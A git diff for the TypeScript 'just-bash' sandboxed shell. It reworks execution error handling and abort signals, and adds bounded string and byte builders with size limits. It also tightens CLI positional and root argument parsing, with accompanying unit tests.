-      normalized = normalizeScript(commandLine);
-    }
+      // Normalize indented multi-line scripts (unless rawScript is true)
+      // This allows writing indented bash scripts in template literals
+      // BUT we must preserve whitespace inside heredoc content
+      let normalized = commandLine;
+      if (!effectiveOptions.rawScript) {
+        normalized = normalizeScript(commandLine);
+      }
 
-    // Activate defense-in-depth box if configured
-    // This wraps execution in AsyncLocalStorage context for context-aware blocking
-    const defenseBox = this.defenseInDepthConfig
-      ? DefenseInDepthBox.getInstance(this.defenseInDepthConfig)
-      : null;
-    const defenseHandle = defenseBox?.activate();
+      // Activate defense-in-depth box if configured
+      // This wraps execution in AsyncLocalStorage context for context-aware blocking
+      const defenseBox = this.defenseInDepthConfig
+        ? DefenseInDepthBox.getInstance(this.defenseInDepthConfig)
+        : null;
+      const defenseHandle = defenseBox?.activate();
 
-    try {
-      // Run execution inside defense-in-depth context if enabled
-      const executeScript = async (): Promise<BashExecResult> => {
-        let ast = parse(normalized, {
-          maxHeredocSize: this.limits.maxHeredocSize,
-        });
+      try {
+        // Run execution inside defense-in-depth context if enabled
+        const executeScript = async (): Promise<BashExecResult> => {
+          let ast = parse(normalized, {
+            maxHeredocSize: this.limits.maxHeredocSize,
+          });
 
-        // Apply transform plugins if any are registered.
-        // Keep metadata null-prototype even when plugins contribute dynamic keys.
-        let metadata: ReturnType<typeof mergeToNullPrototype> | undefined;
-        if (this.transformPlugins.length > 0) {
-          let meta: Record<string, unknown> = Object.create(null);
-          for (const plugin of this.transformPlugins) {
-            const pluginResult = plugin.transform({ ast, metadata: meta });
-            ast = pluginResult.ast;
-            if (pluginResult.metadata) {
-              meta = mergeToNullPrototype(meta, pluginResult.metadata);
+          // Apply transform plugins if any are registered.
+          // Keep metadata null-prototype even when plugins contribute dynamic keys.
+          let metadata: ReturnType<typeof mergeToNullPrototype> | undefined;
+          if (this.transformPlugins.length > 0) {
+            let meta: Record<string, unknown> = Object.create(null);
+            for (const plugin of this.transformPlugins) {
+              const pluginResult = plugin.transform({ ast, metadata: meta });
+              ast = pluginResult.ast;
+              if (pluginResult.metadata) {
+                meta = mergeToNullPrototype(meta, pluginResult.metadata);
+              }
             }
+            metadata = meta;
           }
-          metadata = meta;
-        }
 
-        // Create interpreter with appropriate state
-        const interpreterOptions: InterpreterOptions = {
-          fs: this.fs,
-          commands: this.commands,
-          limits: this.limits,
-          exec: this.exec.bind(this),
-          fetch: this.secureFetch,
-          sleep: this.sleepFn,
-          trace: this.traceFn,
-          coverage: this.coverageWriter,
-          requireDefenseContext: defenseBox?.isEnabled() === true,
-          jsBootstrapCode: this.jsBootstrapCode,
-          invokeTool: this.invokeToolFn,
+          // Create interpreter with appropriate state
+          const interpreterOptions: InterpreterOptions = {
+            fs: this.fs,
+            commands: this.commands,
+            limits: this.limits,
+            executionScope,
+            exec: (script, childOptions, childStdinAlreadyAccounted = false) =>
+              this.execInScope(
+                script,
+                childOptions,
+                executionScope,
+                execDepth + 1,
+                effectiveOptions.signal,
+                childStdinAlreadyAccounted,
+              ),
+            fetch: this.secureFetch,
+            sleep: this.sleepFn,
+            trace: this.traceFn,
+            coverage: this.coverageWriter,
+            requireDefenseContext: defenseBox?.isEnabled() === true,
+            jsBootstrapCode: this.jsBootstrapCode,
+            invokeTool: this.invokeToolFn,
+          };
+
+          const interpreter = new Interpreter(interpreterOptions, execState);
+          const result = await interpreter.executeScript(ast);
+          // Interpreter always sets env, assert it for type safety
+          const execResult = result as BashExecResult;
+          if (metadata) {
+            execResult.metadata = metadata;
+          }
+          return finishResult(execResult);
         };
 
-        const interpreter = new Interpreter(interpreterOptions, execState);
-        const result = await interpreter.executeScript(ast);
-        // Interpreter always sets env, assert it for type safety
-        const execResult = result as BashExecResult;
-        if (metadata) {
-          execResult.metadata = metadata;
+        // If defense-in-depth is enabled, run within the protected context
+        if (defenseHandle) {
+          return await defenseHandle.run(executeScript);
         }
-        return this.logResult(execResult);
-      };
-
-      // If defense-in-depth is enabled, run within the protected context
-      if (defenseHandle) {
-        return await defenseHandle.run(executeScript);
+        return await executeScript();
+      } catch (error) {
+        // ExitError propagates from 'exit' builtin (including via eval/source)
+        if (error instanceof ExitError) {
+          return finishResult({
+            stdout: error.stdout,
+            stderr: error.stderr,
+            exitCode: error.exitCode,
+            env: mapToRecordWithExtras(this.state.env, effectiveOptions.env),
+          });
+        }
+        // PosixFatalError propagates from special builtins in POSIX mode
+        if (error instanceof PosixFatalError) {
+          return finishResult({
+            stdout: error.stdout,
+            stderr: error.stderr,
+            exitCode: error.exitCode,
+            env: mapToRecordWithExtras(this.state.env, effectiveOptions.env),
+          });
+        }
+        if (error instanceof ArithmeticError) {
+          return finishResult({
+            stdout: error.stdout,
+            stderr: error.stderr,
+            exitCode: 1,
+            env: mapToRecordWithExtras(this.state.env, effectiveOptions.env),
+          });
+        }
+        // ExecutionAbortedError is thrown when an AbortSignal fires (timeout cancellation)
+        if (error instanceof ExecutionAbortedError) {
+          return finishResult({
+            stdout: error.stdout,
+            stderr: error.stderr,
+            exitCode: 124, // Same as timeout exit code
+            env: mapToRecordWithExtras(this.state.env, effectiveOptions.env),
+          });
+        }
+        // ExecutionLimitError is thrown when our conservative limits are exceeded
+        // (command count, recursion depth, loop iterations)
+        if (error instanceof ExecutionLimitError) {
+          return finishResult({
+            stdout: error.stdout,
+            stderr: sanitizeErrorMessage(error.stderr),
+            exitCode: ExecutionLimitError.EXIT_CODE,
+            env: mapToRecordWithExtras(this.state.env, effectiveOptions.env),
+          });
+        }
+        // SecurityViolationError is thrown when defense-in-depth detects a blocked operation
+        if (error instanceof SecurityViolationError) {
+          return finishResult({
+            stdout: "",
+            stderr: `bash: security violation: ${sanitizeErrorMessage(error.message)}\n`,
+            exitCode: 1,
+            env: mapToRecordWithExtras(this.state.env, effectiveOptions.env),
+          });
+        }
+        if ((error as ParseException).name === "ParseException") {
+          return finishResult({
+            stdout: "",
+            stderr: `bash: syntax error: ${sanitizeErrorMessage((error as Error).message)}\n`,
+            exitCode: 2,
+            env: mapToRecordWithExtras(this.state.env, effectiveOptions.env),
+          });
+        }
+        // LexerError is thrown for lexer-level issues like unterminated quotes
+        if (error instanceof LexerError) {
+          return finishResult({
+            stdout: "",
+            stderr: `bash: ${sanitizeErrorMessage(error.message)}\n`,
+            exitCode: 2,
+            env: mapToRecordWithExtras(this.state.env, effectiveOptions.env),
+          });
+        }
+        // RangeError occurs when JavaScript call stack is exceeded (deep recursion)
+        if (error instanceof RangeError) {
+          return finishResult({
+            stdout: "",
+            stderr: `bash: ${sanitizeErrorMessage(error.message)}\n`,
+            exitCode: 1,
+            env: mapToRecordWithExtras(this.state.env, effectiveOptions.env),
+          });
+        }
+        throw error;
+      } finally {
+        // Always deactivate defense-in-depth box when done
+        defenseHandle?.deactivate();
       }
-      return await executeScript();
     } catch (error) {
-      // ExitError propagates from 'exit' builtin (including via eval/source)
-      if (error instanceof ExitError) {
-        return this.logResult({
-          stdout: error.stdout,
-          stderr: error.stderr,
-          exitCode: error.exitCode,
-          env: mapToRecordWithExtras(this.state.env, options?.env),
-        });
-      }
-      // PosixFatalError propagates from special builtins in POSIX mode
-      if (error instanceof PosixFatalError) {
-        return this.logResult({
-          stdout: error.stdout,
-          stderr: error.stderr,
-          exitCode: error.exitCode,
-          env: mapToRecordWithExtras(this.state.env, options?.env),
-        });
-      }
-      if (error instanceof ArithmeticError) {
-        return this.logResult({
-          stdout: error.stdout,
-          stderr: error.stderr,
-          exitCode: 1,
-          env: mapToRecordWithExtras(this.state.env, options?.env),
-        });
-      }
-      // ExecutionAbortedError is thrown when an AbortSignal fires (timeout cancellation)
       if (error instanceof ExecutionAbortedError) {
-        return this.logResult({
+        return finishResult({
           stdout: error.stdout,
           stderr: error.stderr,
-          exitCode: 124, // Same as timeout exit code
-          env: mapToRecordWithExtras(this.state.env, options?.env),
+          exitCode: 124,
+          env: mapToRecordWithExtras(this.state.env, effectiveOptions.env),
         });
       }
-      // ExecutionLimitError is thrown when our conservative limits are exceeded
-      // (command count, recursion depth, loop iterations)
       if (error instanceof ExecutionLimitError) {
-        return this.logResult({
+        return finishResult({
           stdout: error.stdout,
           stderr: sanitizeErrorMessage(error.stderr),
           exitCode: ExecutionLimitError.EXIT_CODE,
-          env: mapToRecordWithExtras(this.state.env, options?.env),
-        });
-      }
-      // SecurityViolationError is thrown when defense-in-depth detects a blocked operation
-      if (error instanceof SecurityViolationError) {
-        return this.logResult({
-          stdout: "",
-          stderr: `bash: security violation: ${sanitizeErrorMessage(error.message)}\n`,
-          exitCode: 1,
-          env: mapToRecordWithExtras(this.state.env, options?.env),
-        });
-      }
-      if ((error as ParseException).name === "ParseException") {
-        return this.logResult({
-          stdout: "",
-          stderr: `bash: syntax error: ${sanitizeErrorMessage((error as Error).message)}\n`,
-          exitCode: 2,
-          env: mapToRecordWithExtras(this.state.env, options?.env),
-        });
-      }
-      // LexerError is thrown for lexer-level issues like unterminated quotes
-      if (error instanceof LexerError) {
-        return this.logResult({
-          stdout: "",
-          stderr: `bash: ${sanitizeErrorMessage(error.message)}\n`,
-          exitCode: 2,
-          env: mapToRecordWithExtras(this.state.env, options?.env),
-        });
-      }
-      // RangeError occurs when JavaScript call stack is exceeded (deep recursion)
-      if (error instanceof RangeError) {
-        return this.logResult({
-          stdout: "",
-          stderr: `bash: ${sanitizeErrorMessage(error.message)}\n`,
-          exitCode: 1,
-          env: mapToRecordWithExtras(this.state.env, options?.env),
+          env: mapToRecordWithExtras(this.state.env, effectiveOptions.env),
         });
       }
       throw error;
     } finally {
-      // Always deactivate defense-in-depth box when done
-      defenseHandle?.deactivate();
+      combinedAbort.cleanup();
     }
   }
 
@@ -839,6 +965,7 @@ export class Bash {
   }
 
   transform(commandLine: string): BashTransformResult {
+    assertSourceWithinLimit(commandLine, this.limits.maxSourceBytes);
     const normalized = normalizeScript(commandLine);
     let ast = parse(normalized, {
       maxHeredocSize: this.limits.maxHeredocSize,
@@ -1041,8 +1168,20 @@ function decodeBinaryToUtf8(s: string): string {
 function encodeStdinForPipeline(
   stdin: string | undefined,
   kind: "text" | "bytes" | undefined,
+  maxInputBytes: number,
+  maxStringLength: number,
+  executionScope: ExecutionScope,
+  alreadyAccounted: boolean,
 ): string | undefined {
   if (stdin === undefined) return undefined;
+  const inputBytes = kind === "bytes" ? stdin.length : utf8ByteLength(stdin);
+  if (inputBytes > maxInputBytes || inputBytes > maxStringLength) {
+    throw new ExecutionLimitError(
+      `stdin size limit exceeded (${Math.min(maxInputBytes, maxStringLength)} bytes)`,
+      "string_length",
+    );
+  }
+  if (!alreadyAccounted) executionScope.consumeInput(inputBytes, "stdin");
   if (kind === "bytes") return stdin;
   return latin1FromBytes(encodeUtf8ToBytes(stdin));
 }
diff --git a/packages/just-bash/src/abort-signals.ts b/packages/just-bash/src/abort-signals.ts
new file mode 100644
index 00000000..6a171bbb
--- /dev/null
+++ b/packages/just-bash/src/abort-signals.ts
@@ -0,0 +1,47 @@
+export interface CombinedAbortSignal {
+  signal: AbortSignal | undefined;
+  cleanup(): void;
+}
+
+/**
+ * Compose abort signals without relying on AbortSignal.any(), which is not
+ * available in every supported runtime. The first abort reason wins and all
+ * listeners are removable by the caller's finally block.
+ */
+export function combineAbortSignals(
+  ...signals: Array<AbortSignal | undefined>
+): CombinedAbortSignal {
+  const uniqueSignals = [
+    ...new Set(
+      signals.filter((signal): signal is AbortSignal => signal !== undefined),
+    ),
+  ];
+  if (uniqueSignals.length === 0) {
+    return { signal: undefined, cleanup() {} };
+  }
+  if (uniqueSignals.length === 1) {
+    return { signal: uniqueSignals[0], cleanup() {} };
+  }
+
+  const controller = new AbortController();
+  const listeners: Array<readonly [AbortSignal, () => void]> = [];
+
+  for (const signal of uniqueSignals) {
+    if (signal.aborted) {
+      controller.abort(signal.reason);
+      break;
+    }
+    const onAbort = () => controller.abort(signal.reason);
+    signal.addEventListener("abort", onAbort, { once: true });
+    listeners.push([signal, onAbort]);
+  }
+
+  return {
+    signal: controller.signal,
+    cleanup() {
+      for (const [signal, listener] of listeners) {
+        signal.removeEventListener("abort", listener);
+      }
+    },
+  };
+}
diff --git a/packages/just-bash/src/bounded-builder.test.ts b/packages/just-bash/src/bounded-builder.test.ts
new file mode 100644
index 00000000..caf7b731
--- /dev/null
+++ b/packages/just-bash/src/bounded-builder.test.ts
@@ -0,0 +1,74 @@
+import { describe, expect, it } from "vitest";
+import {
+  BoundedByteBuilder,
+  BoundedStringBuilder,
+  boundedJoin,
+  boundedRepeat,
+  checkedAdd,
+  checkedMultiply,
+} from "./bounded-builder.js";
+import { ExecutionLimitError } from "./interpreter/errors.js";
+
+describe("bounded construction", () => {
+  it("rejects invalid capacities before accepting data", () => {
+    expect(() => new BoundedStringBuilder(Number.NaN, "test")).toThrow(
+      ExecutionLimitError,
+    );
+    expect(() => new BoundedByteBuilder(-1, "test")).toThrow(
+      ExecutionLimitError,
+    );
+  });
+
+  it("counts UTF-8 before appending", () => {
+    const builder = new BoundedStringBuilder(4, "test");
+    builder.append("é").append("é");
+
+    expect(builder.byteLength).toBe(4);
+    expect(builder.build()).toBe("éé");
+    expect(() => builder.append("x")).toThrow(ExecutionLimitError);
+  });
+
+  it("rejects repeat before materializing it", () => {
+    const builder = new BoundedStringBuilder(8, "test");
+
+    expect(() => builder.repeat("é", 5)).toThrow(ExecutionLimitError);
+    expect(builder.byteLength).toBe(0);
+    expect(builder.build()).toBe("");
+  });
+
+  it("can reserve capacity for framing emitted by the caller", () => {
+    const builder = new BoundedStringBuilder(4, "test", undefined, 1);
+    builder.append("abc");
+
+    expect(builder.byteLength).toBe(3);
+    expect(builder.remainingBytes).toBe(0);
+    expect(() => builder.append("d")).toThrow(ExecutionLimitError);
+  });
+
+  it("assembles byte chunks within the configured bound", () => {
+    const builder = new BoundedByteBuilder(4, "test");
+    builder.append(Uint8Array.of(1, 2)).append(Uint8Array.of(3, 4));
+
+    expect(builder.build()).toEqual(Uint8Array.of(1, 2, 3, 4));
+    expect(() => builder.append(Uint8Array.of(5))).toThrow(ExecutionLimitError);
+  });
+
+  it("rejects unsafe arithmetic before construction", () => {
+    expect(() => checkedAdd(Number.MAX_SAFE_INTEGER, 1, "test")).toThrow(
+      ExecutionLimitError,
+    );
+    expect(() => checkedMultiply(Number.MAX_SAFE_INTEGER, 2, "test")).toThrow(
+      ExecutionLimitError,
+    );
+    expect(checkedMultiply(7, 6, "test")).toBe(42);
+  });
+
+  it("provides guarded repeat and join helpers", () => {
+    expect(boundedRepeat("é", 2, 4, "test")).toBe("éé");
+    expect(() => boundedRepeat("é", 3, 4, "test")).toThrow(ExecutionLimitError);
+    expect(boundedJoin(["a", "é"], ",", 4, "test")).toBe("a,é");
+    expect(() => boundedJoin(["a", "é"], ",", 3, "test")).toThrow(
+      ExecutionLimitError,
+    );
+  });
+});
diff --git a/packages/just-bash/src/bounded-builder.ts b/packages/just-bash/src/bounded-builder.ts
new file mode 100644
index 00000000..56920004
--- /dev/null
+++ b/packages/just-bash/src/bounded-builder.ts
@@ -0,0 +1,182 @@
+import { utf8ByteLength } from "./encoding.js";
+import { ExecutionLimitError } from "./interpreter/errors.js";
+
+function assertBoundedCount(count: number, label: string): void {
+  if (!Number.isSafeInteger(count) || count < 0) {
+    throw new ExecutionLimitError(
+      `${label}: invalid bounded allocation count`,
+      "array_elements",
+    );
+  }
+}
+
+function allocationError(label: string): ExecutionLimitError {
+  return new ExecutionLimitError(
+    `${label}: invalid bounded allocation count`,
+    "array_elements",
+  );
+}
+
+/** Add allocation counts without permitting unsafe-integer wraparound. */
+export function checkedAdd(left: number, right: number, label: string): number {
+  assertBoundedCount(left, label);
+  assertBoundedCount(right, label);
+  const result = left + right;
+  if (!Number.isSafeInteger(result)) throw allocationError(label);
+  return result;
+}
+
+/** Multiply allocation counts without permitting overflow or invalid inputs. */
+export function checkedMultiply(
+  left: number,
+  right: number,
+  label: string,
+): number {
+  assertBoundedCount(left, label);
+  assertBoundedCount(right, label);
+  if (left !== 0 && right > Math.floor(Number.MAX_SAFE_INTEGER / left)) {
+    throw allocationError(label);
+  }
+  return left * right;
+}
+
+/** Repeat only after proving that the resulting UTF-8 byte size is bounded. */
+export function boundedRepeat(
+  value: string,
+  count: number,
+  maxBytes: number,
+  label: string,
+): string {
+  const builder = new BoundedStringBuilder(maxBytes, label);
+  builder.repeat(value, count);
+  return builder.build();
+}
+
+/** Join only after charging every value and separator before construction. */
+export function boundedJoin(
+  values: readonly string[],
+  separator: string,
+  maxBytes: number,
+  label: string,
+): string {
+  const builder = new BoundedStringBuilder(maxBytes, label);
+  for (let index = 0; index < values.length; index++) {
+    if (index > 0) builder.append(separator);
+    builder.append(values[index]);
+  }
+  return builder.build();
+}
+
+export class BoundedStringBuilder {
+  private readonly chunks: string[] = [];
+  private usedBytes = 0;
+
+  constructor(
+    private readonly maxBytes: number,
+    private readonly label: string,
+    private readonly createLimitError:
+      | (() => ExecutionLimitError)
+      | undefined = undefined,
+    private readonly reservedBytes = 0,
+  ) {
+    assertBoundedCount(maxBytes, label);
+    assertBoundedCount(reservedBytes, label);
+    if (reservedBytes > maxBytes) this.fail();
+  }
+
+  private fail(): never {
+    throw (
+      this.createLimitError?.() ??
+      new ExecutionLimitError(
+        `${this.label}: output size limit exceeded (${this.maxBytes} bytes)`,
+        "output_size",
+      )
+    );
+  }
+
+  get byteLength(): number {
+    return this.usedBytes;
+  }
+
+  get remainingBytes(): number {
+    return this.maxBytes - this.reservedBytes - this.usedBytes;
+  }
+
+  reserve(bytes: number): void {
+    assertBoundedCount(bytes, this.label);
+    if (bytes > this.remainingBytes) {
+      this.fail();
+    }
+  }
+
+  append(value: string): this {
+    const bytes = utf8ByteLength(value);
+    this.reserve(bytes);
+    if (value) this.chunks.push(value);
+    this.usedBytes += bytes;
+    return this;
+  }
+
+  repeat(value: string, count: number): this {
+    assertBoundedCount(count, this.label);
+    const unitBytes = utf8ByteLength(value);
+    if (
+      unitBytes !== 0 &&
+      count > Math.floor(this.remainingBytes / unitBytes)
+    ) {
+      this.fail();
+    }
+    return this.append(value.repeat(count));
+  }
+
+  reset(): void {
+    this.chunks.length = 0;
+    this.usedBytes = 0;
+  }
+
+  build(): string {
+    return this.chunks.join("");
+  }
+}
+
+export class BoundedByteBuilder {
+  private readonly chunks: Uint8Array[] = [];
+  private usedBytes = 0;
+
+  constructor(
+    private readonly maxBytes: number,
+    private readonly label: string,
+  ) {
+    assertBoundedCount(maxBytes, label);
+  }
+
+  get byteLength(): number {
+    return this.usedBytes;
+  }
+
+  get remainingBytes(): number {
+    return this.maxBytes - this.usedBytes;
+  }
+
+  append(value: Uint8Array): this {
+    if (value.byteLength > this.remainingBytes) {
+      throw new ExecutionLimitError(
+        `${this.label}: byte size limit exceeded (${this.maxBytes} bytes)`,
+        "string_length",
+      );
+    }
+    if (value.byteLength > 0) this.chunks.push(value);
+    this.usedBytes += value.byteLength;
+    return this;
+  }
+
+  build(): Uint8Array {
+    const output = new Uint8Array(this.usedBytes);
+    let offset = 0;
+    for (const chunk of this.chunks) {
+      output.set(chunk, offset);
+      offset += chunk.byteLength;
+    }
+    return output;
+  }
+}
diff --git a/packages/just-bash/src/browser.ts b/packages/just-bash/src/browser.ts
index 1ad8c48e..b565ade2 100644
--- a/packages/just-bash/src/browser.ts
+++ b/packages/just-bash/src/browser.ts
@@ -21,8 +21,12 @@ export {
   getCommandNames,
   getNetworkCommandNames,
 } from "./commands/registry.js";
-export type { CustomCommand, LazyCommand } from "./custom-commands.js";
-export { defineCommand } from "./custom-commands.js";
+export type {
+  CommandContextOptions,
+  CustomCommand,
+  LazyCommand,
+} from "./custom-commands.js";
+export { createCommandContext, defineCommand } from "./custom-commands.js";
 export { InMemoryFs } from "./fs/in-memory-fs/index.js";
 export type {
   BufferEncoding,
@@ -58,4 +62,5 @@ export type {
   CommandContext,
   ExecResult,
   IFileSystem,
+  ResolvedCommandContext,
 } from "./types.js";
diff --git a/packages/just-bash/src/cli/exec-limits.test.ts b/packages/just-bash/src/cli/exec-limits.test.ts
new file mode 100644
index 00000000..cd09b107
--- /dev/null
+++ b/packages/just-bash/src/cli/exec-limits.test.ts
@@ -0,0 +1,13 @@
+import { describe, expect, it } from "vitest";
+import { getDevExecutionLimits } from "./exec-limits.js";
+
+describe("developer CLI execution limits", () => {
+  it("removes shell and traversal accounting ceilings with --no-limit", () => {
+    expect(getDevExecutionLimits(true)).toMatchObject({
+      maxCommandCount: Number.POSITIVE_INFINITY,
+      maxLoopIterations: Number.POSITIVE_INFINITY,
+      maxTraversalEntries: Number.POSITIVE_INFINITY,
+      maxTraversalWork: Number.POSITIVE_INFINITY,
+    });
+  });
+});
diff --git a/packages/just-bash/src/cli/exec-limits.ts b/packages/just-bash/src/cli/exec-limits.ts
new file mode 100644
index 00000000..d309a91b
--- /dev/null
+++ b/packages/just-bash/src/cli/exec-limits.ts
@@ -0,0 +1,18 @@
+import type { ExecutionLimits } from "../limits.js";
+
+/** Resource policy for the developer execution CLI. */
+export function getDevExecutionLimits(noLimit: boolean): ExecutionLimits {
+  if (noLimit) {
+    return {
+      maxCommandCount: Number.POSITIVE_INFINITY,
+      maxLoopIterations: Number.POSITIVE_INFINITY,
+      maxTraversalEntries: Number.POSITIVE_INFINITY,
+      maxTraversalWork: Number.POSITIVE_INFINITY,
+    };
+  }
+
+  return {
+    maxCommandCount: 100_000,
+    maxLoopIterations: 100_000,
+  };
+}
diff --git a/packages/just-bash/src/cli/exec.ts b/packages/just-bash/src/cli/exec.ts
index b3581c8f..42ee4431 100644
--- a/packages/just-bash/src/cli/exec.ts
+++ b/packages/just-bash/src/cli/exec.ts
@@ -27,6 +27,7 @@ import { resolve } from "node:path";
 import { Bash } from "../Bash.js";
 import { OverlayFs } from "../fs/overlay-fs/index.js";
 import { parse } from "../parser/parser.js";
+import { getDevExecutionLimits } from "./exec-limits.js";
 
 const showAst = process.argv.includes("--print-ast");
 const runRealBash = process.argv.includes("--real-bash");
@@ -80,15 +81,7 @@ if (showAst) {
 
 // Create Bash environment with optional OverlayFS
 // Use high limits for dev:exec (typical use is exploration of large filesystems)
-const executionLimits = noLimit
-  ? {
-      maxCommandCount: Number.MAX_SAFE_INTEGER,
-      maxLoopIterations: Number.MAX_SAFE_INTEGER,
-    }
-  : {
-      maxCommandCount: 100000, // Higher default for dev:exec
-      maxLoopIterations: 100000,
-    };
+const executionLimits = getDevExecutionLimits(noLimit);
 
 let env: Bash;
 if (rootPath) {
diff --git a/packages/just-bash/src/cli/just-bash.test.ts b/packages/just-bash/src/cli/just-bash.test.ts
index 8b55dad6..b71f6329 100644
--- a/packages/just-bash/src/cli/just-bash.test.ts
+++ b/packages/just-bash/src/cli/just-bash.test.ts
@@ -197,6 +197,84 @@ describe("just-bash CLI", () => {
       expect(result.stdout).toBe("in cwd");
       expect(result.exitCode).toBe(0);
     });
+
+    it("binds an explicit symlink root to its canonical target", () => {
+      const target = path.join(tempDir, "root-target");
+      const link = path.join(tempDir, "root-link");
+      fs.mkdirSync(target);
+      fs.writeFileSync(path.join(target, "inside.txt"), "inside");
+      try {
+        fs.symlinkSync(target, link);
+      } catch {
+        return;
+      }
+
+      const result = runCli(["-c", "'cat inside.txt'", "--root", link]);
+
+      expect(result.stdout).toBe("inside");
+      expect(result.stderr).toBe("");
+      expect(result.exitCode).toBe(0);
+    });
+
+    it("does not reinterpret an inline-script positional from filesystem state", () => {
+      const narrowRoot = path.join(tempDir, "narrow");
+      fs.mkdirSync(narrowRoot);
+      const result = runCli(["-c", "'echo unsafe'", narrowRoot]);
+
+      expect(result.stdout).toBe("");
+      expect(result.stderr).toBe(
+        "Error: script file cannot be combined with -c\n",
+      );
+      expect(result.exitCode).toBe(1);
+    });
+
+    it("treats a positional as a script file even when it names a directory", () => {
+      fs.mkdirSync(path.join(tempDir, "script-name"));
+
+      const result = runCli(["script-name"], {
+        cwd: tempDir,
+        input: "echo ignored",
+      });
+
+      expect(result.stdout).toBe("");
+      expect(result.stderr).toBe(
+        "Error: Cannot read script file: script-name\nEIO: open '<path>'\n",
+      );
+      expect(result.exitCode).toBe(1);
+    });
+
+    it("preserves the legacy script-file positional root", () => {
+      fs.writeFileSync(path.join(tempDir, "legacy.sh"), "printf compatible");
+      const result = runCli(["legacy.sh", tempDir]);
+
+      expect(result.stdout).toBe("compatible");
+      expect(result.stderr).toBe("");
+      expect(result.exitCode).toBe(0);
+    });
+
+    it("accepts matching positional and explicit roots", () => {
+      fs.writeFileSync(path.join(tempDir, "legacy.sh"), "printf compatible");
+      const result = runCli(["legacy.sh", tempDir, "--root", tempDir]);
+
+      expect(result.stdout).toBe("compatible");
+      expect(result.stderr).toBe("");
+      expect(result.exitCode).toBe(0);
+    });
+
+    it("rejects conflicting positional and explicit roots", () => {
+      const otherRoot = fs.mkdtempSync(
+        path.join(os.tmpdir(), "just-bash-root-"),
+      );
+      fs.writeFileSync(path.join(tempDir, "legacy.sh"), "printf compatible");
+      const result = runCli(["legacy.sh", tempDir, "--root", otherRoot]);
+      fs.rmSync(otherRoot, { recursive: true, force: true });
+
+      expect(result.stdout).toBe("");
+      expect(result.stderr).toBe(
+        "Error: conflicting positional root and --root\n",
+      );
+      expect(result.exitCode).toBe(1);
+    });
   });
 
   describe("--json output", () => {
@@ -289,6 +367,14 @@ describe("just-bash CLI", () => {
       expect(result.stdout).toBe("from-script\n");
       expect(result.exitCode).toBe(0);
     });
+
+    it("uses -- to execute a script file whose name starts with a dash", () => {
+      fs.writeFileSync(path.join(tempDir, "-script.sh"), "echo dash-script");
+      const result = runCli(["--root", tempDir, "--", "-script.sh"]);
+      expect(result.stdout).toBe("dash-script\n");
+      expect(result.stderr).toBe("");
+      expect(result.exitCode).toBe(0);
+    });
   });
 
   describe("mount point behavior", () => {
diff --git a/packages/just-bash/src/cli/just-bash.ts b/packages/just-bash/src/cli/just-bash.ts
index 0319fb94..f8a42a89 100644
--- a/packages/just-bash/src/cli/just-bash.ts
+++ b/packages/just-bash/src/cli/just-bash.ts
@@ -5,10 +5,9 @@
  * Reads from the real filesystem, but writes stay in memory.
  *
  * Usage:
- *   just-bash [options] [root-path]
- *   just-bash -c 'script' [root-path]
- *   echo 'script' | just-bash [root-path]
- *   just-bash script.sh [root-path]
+ *   just-bash [options] [script-file] [root]
+ *   just-bash -c 'script' [options]
+ *   echo 'script' | just-bash [options]
  *
  * Options:
  *   -c <script>       Execute the script from command line argument
@@ -21,7 +20,7 @@
  *
  * Arguments:
  *   script.sh         Script file to execute (reads from OverlayFS)
- *   root-path         Root directory (alternative to --root)
+ *   root              Legacy positional root (prefer --root)
  *
  * Examples:
  *   # Execute inline script in current directory
@@ -61,7 +60,7 @@ function printHelp(): void {
   console.log(`just-bash - A secure bash environment for AI agents
 
 Usage:
-  just-bash [options] [script-file]
+  just-bash [options] [script-file] [root]
   just-bash -c 'script' [options]
   echo 'script' | just-bash [options]
 
@@ -77,6 +76,10 @@ Options:
   -h, --help        Show this help message
   -v, --version     Show version
 
+Arguments:
+  script-file       Script file to execute from the mounted root
+  root              Legacy positional root (prefer --root)
+
 Security:
   - Reads from the real filesystem (read-only via OverlayFS)
   - Write operations are blocked by default (use --allow-write to enable)
@@ -127,10 +130,15 @@ function parseArgs(args: string[]): CliOptions {
   };
 
   let i = 0;
+  const positionals: string[] = [];
+  let rootOverridden = false;
   while (i < args.length) {
     const arg = args[i];
 
-    if (arg === "-h" || arg === "--help") {
+    if (arg === "--") {
+      positionals.push(...args.slice(i + 1));
+      break;
+    } else if (arg === "-h" || arg === "--help") {
       options.help = true;
       i++;
     } else if (arg === "-v" || arg === "--version") {
@@ -152,6 +160,7 @@ function parseArgs(args: string[]): CliOptions {
         process.exit(1);
       }
       options.root = resolve(args[i + 1]);
+      rootOverridden = true;
       i += 2;
     } else if (arg === "--cwd") {
       if (i + 1 >= args.length) {
@@ -204,17 +213,33 @@ function parseArgs(args: string[]): CliOptions {
         process.exit(1);
       }
     } else {
-      // Positional argument - could be script file or root path
-      if (!options.scriptFile && !options.script) {
-        options.scriptFile = arg;
-      } else if (options.scriptFile && options.root === process.cwd()) {
-        // Second positional is root
-        options.root = resolve(arg);
-      }
+      positionals.push(arg);
       i++;
     }
   }
 
+  const rejectPositionals = (message: string): never => {
+    console.error(`Error: ${message}`);
+    process.exit(1);
+  };
+
+  if (options.script && positionals.length > 0) {
+    rejectPositionals("script file cannot be combined with -c");
+  }
+  if (positionals.length > 2) {
+    rejectPositionals("unexpected extra positional argument");
+  }
+  if (positionals.length >= 1) {
+    options.scriptFile = positionals[0];
+  }
+  if (positionals.length === 2) {
+    const positionalRoot = resolve(positionals[1]);
+    if (rootOverridden && positionalRoot !== options.root) {
+      rejectPositionals("conflicting positional root and --root");
+    }
+    options.root = positionalRoot;
+  }
+
   return options;
 }
 
diff --git a/packages/just-bash/src/cli/shell.ts b/packages/just-bash/src/cli/shell.ts
index 1a6b5c05..3b1ab354 100644
--- a/packages/just-bash/src/cli/shell.ts
+++ b/packages/just-bash/src/cli/shell.ts
@@ -8,6 +8,7 @@
  */
 
 import * as fs from "node:fs";
+import * as path from "node:path";
 import * as readline from "node:readline";
 import { Bash } from "../Bash.js";
 import { OverlayFs } from "../fs/overlay-fs/overlay-fs.js";
@@ -37,6 +38,7 @@ class VirtualShell {
   private rl: readline.Interface;
   private running = true;
   private history: string[] = [];
+  private readonly initialization: Promise<void>;
 
   private isInteractive: boolean;
 
@@ -64,6 +66,7 @@ class VirtualShell {
           ? { dangerouslyAllowFullInternetAccess: true }
           : undefined,
     });
+    this.initialization = this.seedFiles(overlayFs, options.files);
 
     // Check if stdin is a TTY (interactive mode)
     this.isInteractive = process.stdin.isTTY === true;
@@ -90,6 +93,23 @@ class VirtualShell {
